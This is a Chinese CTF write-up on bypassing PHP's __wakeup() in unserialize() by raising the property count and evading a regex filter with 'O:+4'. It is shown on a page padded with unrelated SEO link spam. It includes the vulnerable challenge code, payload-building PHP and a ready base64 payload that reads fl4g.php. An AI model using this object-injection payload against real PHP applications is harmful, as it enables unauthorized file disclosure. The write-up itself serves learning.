当前位置: 首页 > wzjs >正文

广州 创意的网站设计wordpress付费附件下载

广州 创意的网站设计,wordpress付费附件下载,网站建设哪家好就推 鹏博资讯,域名注册以后如何建站反序列化Wakeup方法绕过 介绍 __wakeup() 是 PHP 中一个重要的魔术方法,用于对象反序列化时的自定义初始化操作。当使用 unserialize() 函数恢复对象时,PHP 会自动调用该方法 当对象被 serialize() 序列化时,PHP 会先调用 __sleep() 方法&…

反序列化Wakeup方法绕过

介绍

__wakeup() 是 PHP 中一个重要的魔术方法,用于对象反序列化时的自定义初始化操作。当使用 unserialize() 函数恢复对象时,PHP 会自动调用该方法

  1. 当对象被 serialize() 序列化时,PHP 会先调用 __sleep() 方法(如果存在)
  2. 序列化后的字符串可以存储或传输
  3. 当使用 unserialize() 恢复对象时:
    • PHP 首先创建对象的新实例(不调用 __construct()
    • 然后恢复所有属性值
    • 最后调用 __wakeup() 方法

绕过原理

当序列化字符串中代表属性的数字与实际属性个数不对应时,将会直接绕过__wakeup()方法。

a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}

例如:这里表示一个含有三个属性的数组,如果将a:3……改成a:2……将会直接绕过__wakeup()方法。

受影响版本范围

  1. PHP 5.x 全系列(特别是 ≤ 5.6.30)
    • 完全有效,__wakeup() 会被直接跳过
  2. PHP 7.0.0 - 7.0.15
    • 有效,但部分小版本可能已修复
  3. PHP 7.1.0+
    • 大部分版本已修复,但具体修复时间点取决于发行版

实战题目

攻防世界:Web_php_unserialize

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

这里除了__wakeup()还有一个正则表达式的匹配需要注意

/[oc]:\d+:/i 匹配以下模式:

  • [oc]:字母 ‘o’ 或 ‘c’(不区分大小写,因为有 /i 修饰符)
  • ::冒号
  • \d+:一个或多个数字
  • ::冒号

正常情况下,我们构造payload

<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
echo (serialize($a));
?>

输出:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 这里o:4会被正则表达式检测到,可以换成o:+4带上一个正号,数值不会发生变化,也能绕过正则表达式的匹
  • 而且Demo的属性个数是1,实际个数也是1,会被_wakeup方法过滤掉,可以换成2
  • 题目中需要上传的是base64加密后的payload

所有需要注意的点我们都已经发现了,接下来就是构造payload了

<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
$b=serialize($a);
echo $b;
$c = str_replace('O:4','O:+4', $b);
$d = str_replace('"Demo":1:','"Demo":2:',$c);
echo $d;
echo base64_encode($d);
?>

输出:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

直接传入参数,即可得到flag。

……?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

结语

这里__wakeup()的绕过方法还是很简单的,一般情况下不会单独出现

声明

本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!

http://www.dtcms.com/wzjs/806538.html

相关文章:

  • 如何知道网站什么时候做的深圳附近做个商城网站多少钱
  • 公司做网站能够带来的好处排名好的移动网站建设
  • 微信网站开发服务建设银行成都 招聘网站
  • 免费建立网站的有哪里一级A做爰片安全网站
  • 五种常见的软件架构东莞seo网络培训
  • 专门做网站推广的平台海南百度首页广告
  • 惠州哪个房地产网站做的比较好拼多多关键词排名查询工具
  • 阿里云服务器做盗版电影网站wordpress自动生成百度地图
  • 自己可以做网站吗商丘哪里教做网站的
  • 新闻类的网站如何做优化、网站后台模板免费下载
  • 自己做网站可以赚钱吗网站怎么找的
  • 网站建设找哪家公司普通网站成微网站开发
  • 大王庄网站建设公司文章存在 wordpress
  • 高端网站设计合肥网站建设网络优化培训
  • 怎么自己制作一个好的网站山东大标网络
  • PHP+Ajax网站开发典型实例房产网站模板
  • 广州做网站一般要多少钱wordpress标签导航栏
  • 宁波品牌网站公司排名登封网络推广哪家好
  • 南宁外贸网站建设esxi WordPress
  • 建设部网站一级开发资质做网站记什么科目
  • 贡嘎网站建设汽车网站建设页面
  • 浙江省长兴县建设局网站h5海报模板
  • 网站建设目录规范wordpress能仿站吗
  • 在社交网站开发外国客户赣州网站制作
  • 网站微营销公司哪家好济南网络营销服务公司
  • 做网站点击赚取广告费免费微信公众号怎么开通
  • 模板网站建站步骤济南建设银行网点
  • 专业做网站路桥郑州男科
  • 阿里巴巴国际站运营wordpress实惠主机
  • 昆山设计网站的公司哪家好用家用光纤宽带做网站